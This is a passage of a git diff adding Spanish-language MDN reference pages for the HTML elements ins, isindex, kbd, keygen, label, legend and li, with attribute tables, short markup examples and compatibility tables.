+<p>El siguiente código:</p>
+
+<pre> Ejemplo de ins en linea:
+   &lt;p&gt; El agua es insipida, &lt;ins&gt;inodora e incolora.&lt;/ins&gt; &lt;/p&gt;
+
+ Ejemplo de ins en bloque:
+   &lt;p&gt; El agua es insipida. &lt;/p&gt;
+   &lt;ins&gt; &lt;p&gt; Y además inodora e incolora. &lt;/p&gt; &lt;/ins&gt;
+</pre>
+
+<p><br>
+ Se visualiza así:</p>
+
+<div class="highlight">
+<p>Ejemplo de ins en linea:</p>
+
+<p>El agua es insipida, <ins>inodora e incolora.</ins></p>
+
+<p>Ejemplo de ins en bloque:</p>
+
+<p>El agua es insipida.</p>
+
+<p><ins>y además inodora e incolora.</ins></p>
+</div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/isindex/index.html b/files/es/web/html/elemento/isindex/index.html
new file mode 100644
index 0000000000..520c286c08
--- /dev/null
+++ b/files/es/web/html/elemento/isindex/index.html
@@ -0,0 +1,44 @@
+---
+title: <isindex>
+slug: Web/HTML/Elemento/isindex
+tags:
+  - Deprecado
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/isindex
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>&lt;isindex&gt; </code>es un elemento HTML  obsoleto que posiciona un campo de texto en una página para buscar en el documento . <code>&lt;isindex&gt;</code> fue pensado por el W3C  para ser usado dentro del elemento {{HTMLElement("head")}} , pero los exploradores lo soportaban sin importar donde se usaba .</p>
+
+<p>&lt;<font face="Consolas, Liberation Mono, Courier, monospace">isindex&gt; </font>fue deprecado en HTML 4.01 , debido a que el mismo comportamiento puede ser logrado con un form de HTML. </p>
+
+<h2 id="Atributos">Atributos </h2>
+
+<p>Como todos los otros elementos HTML , este elemento acepta los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</p>
+
+<dl>
+ <dt>{{htmlattrdef("prompt")}}</dt>
+ <dd>Este atributo añade su valor como una ventana para un campo de texto.</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>Este atributo puede ser usado para mandar una busqueda a una URL diferente . La acción no está definida por el W3C .</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;isindex prompt="Search Document... " /&gt;
+&lt;/head&gt;</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("form")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/kbd/index.html b/files/es/web/html/elemento/kbd/index.html
new file mode 100644
index 0000000000..1f29dead64
--- /dev/null
+++ b/files/es/web/html/elemento/kbd/index.html
@@ -0,0 +1,120 @@
+---
+title: kbd
+slug: Web/HTML/Elemento/kbd
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/kbd
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Marca el texto que debe introducir el usuario.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;kbd&gt; y &lt;/kbd&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">&lt;p&gt;
+Si está conforme escriba &lt;kbd&gt;sí&lt;/kbd&gt;. Si no, pulse &lt;kbd&gt;esc&lt;/kbd&gt;
+&lt;/p&gt;
+</pre>
+
+<p>Se visualiza asi</p>
+
+<p class="eval">Si esta conforme escriba <kbd>si</kbd>. Si no, pulse <kbd>esc</kbd></p>
+
+<h3 id="Comentarios" name="Comentarios"> </h3>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p>La visualizacion puede cambiar segun el navegador debido a los estilos preestablecidos por cada uno.</p>
diff --git a/files/es/web/html/elemento/keygen/index.html b/files/es/web/html/elemento/keygen/index.html
new file mode 100644
index 0000000000..0370a780cd
--- /dev/null
+++ b/files/es/web/html/elemento/keygen/index.html
@@ -0,0 +1,128 @@
+---
+title: keygen
+slug: Web/HTML/Elemento/keygen
+tags:
+  - para_revisar
+translation_of: Web/HTML/Element/keygen
+---
+<p>El elemento <code>keygen</code> de HTML existe para facilitar la generación de llaves, y el envío de la clave pública como parte de un formulario HTML. Este mecanismo está diseñado para utilizarse con sistemas de gestión de certificados basados en la Web. Se espera que el elemento <code>keygen</code> se utilice en un formulario HTML, junto con otra información necesaria para la construcción de una solicitud de certificado, y que el resultado del proceso será un certificado firmado.</p>
+
+<h3 id="Usage_context" name="Usage_context">Contexto de uso</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Las categorías de contenido</td>
+   <td><a title="es / HTML / categorías de contenido # flujo de contenido">contenido dinámico</a> , <a title="es / HTML / Las categorías de contenido # Enunciado contenido">el contenido de redacción</a> , contenido interactivo, <a title="es / HTML / categorías de contenido # formulario de lista">lista</a> , <a title="es / HTML / categorías de contenido # forma labelable">labelable</a> , <a title="es / HTML / categorías de contenido # forma submittable">submittable</a> , <a title="es / HTML / categorías de contenido # forma reajustable">reajustable</a> <a title="es / HTML / categorías de contenido # contenido del formulario asociado">asociada elemento de formulario.</a></td>
+  </tr>
+  <tr>
+   <td>Contenido permitido</td>
+   <td>ninguno</td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>elemento vacío, sólo tiene una etiqueta de inicio</td>
+  </tr>
+  <tr>
+   <td>Elementos padres permitidos</td>
+   <td>donde se espere <a title="es / HTML / Las categorías de contenido # Enunciado contenido">contenido de frases</a></td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://www.w3.org/TR/html5/the-button-element.html#the-keygen-element" title="http://www.w3.org/TR/html5/the-button-element.html # el-keygen-elemento">HTML 5, la sección 4.10.5</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos">Atributos</h3>
+
+<h3 id="Uso">Uso</h3>
+
+<dl>
+ <dt><a name="attr-autofocus">autofocus</a></dt>
+ <dd>Este atributo booleano permite especificar que el control debe tener el foco de entrada cuando se cargue la página, a menos que el usuario lo anule, por ejemplo, al escribir en un control diferente. Sólo un elemento de formulario en un documento puede tener el atributo <strong>autofocus,</strong> que es un valor booleano.</dd>
+ <dt>{{ Htmlattrdef ("challenge") }}</dt>
+ <dd>Una cadena de desafío que se presenta junto con la clave pública. El valor predeterminado es una cadena vacía si no se especifica.</dd>
+ <dt>{{ Htmlattrdef ("disabled") }}</dt>
+ <dd>Este atributo booleano indica que el control del formulario no está disponible para la interacción.</dd>
+ <dt><a name="attr-form">form</a></dt>
+ <dd>El elemento form al que este elemento está asociado (el <em>propietario del formulario).</em> El valor del atributo debe ser un <strong>id</strong> de un elemento {{ HTMLElement ("form") }} en el mismo documento. Si este atributo no se especifica, este elemento debe ser un descendiente de un elemento {{ HTMLElement ("form") }}. Este atributo le permite colocar elementos <span style="font-family: Courier New;">&lt;keygen&gt;</span> en cualquier lugar dentro de un documento, no sólo como descendientes del formulario.</dd>
+ <dt>{{ Htmlattrdef ("keytype") }}</dt>
+ <dd>El tipo de clave generada. El valor por defecto es <code>RSA</code> .</dd>
+ <dt><a name="attr-name">name</a></dt>
+ <dd>El nombre del control, que se envía con los datos del formulario.</dd>
+</dl>
+
+<p>El elemento se escribe como sigue:</p>
+
+<pre><code>&lt;keygen name="<var>name</var>" challenge="<var>challenge string</var>" keytype="<var>type</var>" keyparams="<var>pqg-params</var>"&gt;</code></pre>
+
+<p>El parámetro <code>keytype</code> se utiliza para especificar qué tipo de clave se generará. Los valores válidos son " <code>RSA</code> ", que es el valor predeterminado," <code>DSA</code> "y" <code>EC</code> ". Los atributos <code>name</code> y <code>challenge</code> son necesarios en todos los casos. El atributo <code>keytype</code> es opcional para la generación de claves RSA y obligatorio para la generación de claves DSA y CE. El atributo <code>keyparams</code> es necesario para la generación de claves DSA y CE e ignorado para la generación de claves RSA. <code>PQG</code> es sinónimo de <code>keyparams</code> . Es decir, usted puede especificar <code>keyparams="pqg-params"</code> o <code>pqg="pqg-params"</code> .</p>
+
+<p>Para las claves RSA, el parámetro <code>keyparams</code> no se utiliza (se ignora si está presente). El usuario puede tener una selección de la fuerza de la clave RSA. En la actualidad, el usuario tiene que elegir entre los grados "alto" (2048 bits) y "medio" (1024 bits).</p>
+
+<p>Para las claves DSA, el parámetro <code>keyparams</code> especifica los parámetros DSA PQG que se van a utilizar en el proceso de creación de llaves. El valor del parámetro <code>pqg</code> es en BASE64, DER codificado Dss-Parms como se especifica en el IETF <a class="link-ftp" href="ftp://ftp.rfc-editor.org/in-notes/rfc3279.txt">RFC 3279</a> . El usuario puede tener una variedad de tamaños de claves DSA, lo que permite al usuario elegir una de las dimensiones definidas en el estándar DSA.</p>
+
+<p>Para las claves CE, el parámetro <code>keyparams</code> especifica el nombre de la curva elíptica en la que será generada la clave. Normalmente es una cadena de la tabla en <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177" title="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185 ,187-206 ,208-227 ,229-256 # 177">nsKeygenHandler.cpp</a> . (Tenga en cuenta que sólo un subconjunto de las curvas nombradas puede ser compatible con un navegador en particular.) Si la cadena parámetro <code>keyparams</code> no es el nombre de una curva reconocible, entonces una curva se elige de acuerdo a la fortaleza elegida por el usuario (bajo, medio, alto), utilizando la curva llamada " <code>secp384r1</code> " para alto, y la curva llamada" <code>secp256r1</code> " para claves de fuerza mediana. (Nota: la elección de la cantidad de fortalezas, los valores por defecto para cada fuerza, y la interfaz de usuario que el usuario se ofrece una opción, están fuera del alcance de esta especificación.)</p>
+
+<p>El elemento <code>keygen</code> sólo es válido dentro de un formulario HTML. Esto causará que algún tipo de selección se presentará al usuario para la selección del tamaño de la clave. La interfaz de usuario para la selección puede ser un menú, botones de radio, o posiblemente algo más. El navegador presentará varias fuerzas posibles. Actualmente, se ofrecen dos fuerzas, alta y media. Si el navegador del usuario está configurado para el soporte de hardware de cifrado (por ejemplo, "tarjetas inteligentes"), también puede dársele la opción al usuario de dónde generar la clave, es decir, si en una tarjeta inteligente o en el software y si se almacenan en el disco.</p>
+
+<p>Cuando el botón de enviar es pulsado, un par de claves del tamaño seleccionado se genera. La clave privada se cifra y se almacena en la base de datos de claves local.</p>
+
+<pre>   PublicKeyAndChallenge:: SEQUENCE {
+       SPKI SubjectPublicKeyInfo,
+       challenge IA5String
+   }
+   SignedPublicKeyAndChallenge:: SEQUENCE {
+       publicKeyAndChallenge PublicKeyAndChallenge,
+       signatureAlgorithm AlgorithmIdentifier,
+       firma BIT STRING
+   }</pre>
+
+<p>La clave pública y la cadena de desafío son codificadas con DER como PublicKeyAndChallenge, a continuación, firmados digitalmente con la clave privada para producir una SignedPublicKeyAndChallenge. El SignedPublicKeyAndChallenge es base64, y los datos ASCII finalmente se envía al servidor como un par de nombre/valor de formulario, donde el nombre es <var>name</var> especificado por el atributo <code>name</code> del elemento <code>keygen</code>. Si no hay cadena de desafío se proporciona, entonces será codificada como IA5String de longitud cero.</p>
+
+<p>He aquí un ejemplo de envío de formularios, como sería entregado a un programa CGI en el servidor HTTP:</p>
+
+<pre>   CommonName = John Doe + y e-mail = doe@foo.com y org = Foobar + + Informática Corp. y
+   orgunit = Oficina + de + la burocracia y la localidad Ciudad X = y = estado de California y en el país = EE.UU. y
+   key = MIHFMHEwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAnX0TILJrOMUue% 2BPtwBRE6XfV% 0AWtKQbsshxk5ZhcUwcwyvcnIq9b82QhJdoACdD34rqfCAIND46fXKQUnb0mvKzQID% 0AAQABFhFNb3ppbGxhSXNNeUZyaWVuZDANBgkqhkiG9w0BAQQFAANBAAKv2Eex2n% 2FS% 0Ar 2F7iJNroWlSzSMtTiQTEB%%%% 2BADWHGj9u1xrUrOilq 2Fo2cuQxIfZcNZkYAkWP4DubqW 0Ai0% 2F% 3D% 2FrgBvmco</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=380749" title="https://bugzilla.mozilla.org/attachment.cgi?id=380749">Sample form with RSA KEYGEN element</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=380750" title="https://bugzilla.mozilla.org/attachment.cgi?id=380750">Sample form with DSA KEYGEN element and PQG Parameters</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=380751" title="https://bugzilla.mozilla.org/attachment.cgi?id=380751">Sample form with DSA KEYGEN element but no PQG Parameters</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=380752" title="https://bugzilla.mozilla.org/attachment.cgi?id=380752">Sample form with EC KEYGEN element</a></li>
+</ul>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión más baja</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td>1.0 (1.0)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>1.2 (125)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p>{{ languages ({"fr": "fr/HTML/Element/Keygen","en": "en/HTML/Element/Keygen"}) }}</p>
diff --git a/files/es/web/html/elemento/label/index.html b/files/es/web/html/elemento/label/index.html
new file mode 100644
index 0000000000..3017c1ba36
--- /dev/null
+++ b/files/es/web/html/elemento/label/index.html
@@ -0,0 +1,138 @@
+---
+title: <label>
+slug: Web/HTML/Elemento/label
+translation_of: Web/HTML/Element/label
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El<em> </em><strong>Elemento </strong><strong style="line-height: 1.5;">HTML </strong><strong style="line-height: 1.5;"><code style="font-size: 14px;">&lt;label&gt; </code></strong><span style="line-height: 1.5;">representa una etiqueta para un elemento en una interfaz de usuario. Este puede estar asociado con un control ya sea mediante la utilizacion del atributo </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">for</span><span style="line-height: 1.5;">, o ubicando el control dentro del elemento </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">label</span><span style="line-height: 1.5;">. Tal control es llamado "el control etiquetado" del elemento </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">label</span><span style="line-height: 1.5;">.</span></p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories">Categorias</a></dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenido de flujo</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">contenido interactivo</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form-associated_content">elemento de formulario asociado</a>, contenido palpable.</li>
+ <li><dfn>Contenido permitido</dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Contenido de fraseo</a>, pero no otros componentes <code>label</code> ni otros elementos etiquetables a parte del de control ya etiquetado.</li>
+ <li><dfn>Omision del Tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementos padre permitidos</dfn> Cualquier elemento que acepte el <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLLabelElement")}}</li>
+</ul>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline("4")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Una tecla de atajo para acceder a este elemento desde el teclado.</dd>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>El ID del elemento de formulario etiquetable relacionado en el mismo documento que el elemento <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">label</span><span style="line-height: 1.5;">. El primer elemento en el documento con tal ID que coincida con el dispuesto en el atributo </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">for</span><span style="line-height: 1.5;"> será el control etiquetado para este elemento.</span></dd>
+ <dd>
+ <div class="note"><strong>Nota:</strong> Un elemento label puede contener ambos; El atributo for y el elemento de control anidado, siempre y cuando el atributo for <span style="line-height: 1.5em;">apunte al mismo elemento. </span></div>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El formulario con el cual el label está asociado (su formulario dueño). El valor de este atributo debe ser un ID del elemento {{HTMLElement("form")}} en el mismo documento. Si este atributo no es especificado, este elemento <code>&lt;label&gt;</code> deberia ser descendiente de un elemento {{HTMLElement("form")}}. Este atributo permite ubicar el elemento label en cualquier lugar dentro del documento y no solo como descendiente de su respectivo formulario.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!-- Un simple ejemplo de un label con el atributo for --&gt;
+&lt;label for="Name"&gt;Click me&lt;/label&gt;
+&lt;input type="text" id="Name" name="Name" /&gt;
+
+&lt;!-- Aun mas simple --&gt;
+&lt;label&gt;Click me &lt;input type="text" id="Name" name="Name" /&gt;&lt;/label&gt;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><label>Click me <input></label></p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.9.1', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes">Notes</h3>
+
+<h4 id="Click_events_in_nested_&lt;label>_elements">Click events in nested <code>&lt;label&gt;</code> elements</h4>
+
+<p>Starting with Gecko 8.0 {{geckoRelease("8.0")}}, a bubbling click event triggers at most one <code>&lt;label&gt;</code>, and the synthetic click event cannot trigger additional <code>&lt;label&gt;</code>s. In Gecko, a click event will still bubble up past a <code>&lt;label&gt;</code>, while in WebKit or Internet Explorer the click event will stop at the <code>&lt;label&gt;</code>. The behavior prior to Gecko 8.0 (triggering multiple <code>&lt;label&gt;</code>s) caused Firefox to stop responding (see {{bug(646157)}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/legend/index.html b/files/es/web/html/elemento/legend/index.html
new file mode 100644
index 0000000000..1aaaecced4
--- /dev/null
+++ b/files/es/web/html/elemento/legend/index.html
@@ -0,0 +1,125 @@
+---
+title: legend
+slug: Web/HTML/Elemento/legend
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/legend
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <span style="font-family: courier new;">&lt;legend&gt;</span> (leyenda) crea un título para un grupos los campos ({{ HTMLElement("fieldset") }}) de un formulario.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <span style="font-family: courier new;">&lt;legend&gt;</span> y <span style="font-family: courier new;">&lt;/legend&gt;</span> (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="/es/HTML/Elemento/Tipos_de_elementos#en_bloque" title="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a></dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:</dd>
+</dl>
+
+<dl>
+ <dd><strong>Debe contener</strong>: cero o más elementos <a href="/es/HTML/Elemento/Tipos_de_elementos#en_linea" title="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+ <dd><strong>Debe estar contenido por</strong>: debe ser el primer hijo de un elemento {{ HTMLElement("fieldset") }}</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>lista de clases separadas por espacios</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>uno de los siguientes:"ltr" o "rtl"</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">accesskey</code></td>
+   <td>un caracter</td>
+   <td>implícito</td>
+   <td>carácter de la tecla de acceso rápido</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">align</code></td>
+   <td>uno de los siguientes: "top", "bottom", "left" o "right"</td>
+   <td>implícito</td>
+   <td>alineación con relación al fieldset</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre>&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Información Personal&lt;/legend&gt;
+    &lt;label for="nombre"&gt;Nombre:&lt;/label&gt;
+    &lt;input name="nombre" id="nombre" type="text" tabindex="1" /&gt;
+    &lt;label for="apellidos"&gt;Apellidos:&lt;/label&gt;
+    &lt;input name="apellidos" id="apellidos" type="text" tabindex="2" /&gt;
+  &lt;/fieldset&gt;
+
+  &lt;fieldset&gt;
+    &lt;legend&gt;Edad&lt;/legend&gt;
+    &lt;label&gt;&lt;input type="checkbox" tabindex="20" name="edad" value="20-39" /&gt; 20-39&lt;/label&gt;
+    &lt;label&gt;&lt;input type="checkbox" tabindex="21" name="edad" value="40-59" /&gt; 40-59&lt;/label&gt;
+    &lt;label&gt;&lt;input type="checkbox" tabindex="22" name="edad" value="60-79" /&gt; 60-79&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
diff --git a/files/es/web/html/elemento/li/index.html b/files/es/web/html/elemento/li/index.html
new file mode 100644
index 0000000000..5c9755e528
--- /dev/null
+++ b/files/es/web/html/elemento/li/index.html
@@ -0,0 +1,123 @@
+---
+title: li
+slug: Web/HTML/Elemento/li
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/li
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">li</code> del ingles <em>item list</em> o<em> elemento de lista</em> declara cada uno de los elementos de una lista.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;li&gt; y &lt;/li&gt; (la de cierre es opcional).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a> o en <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
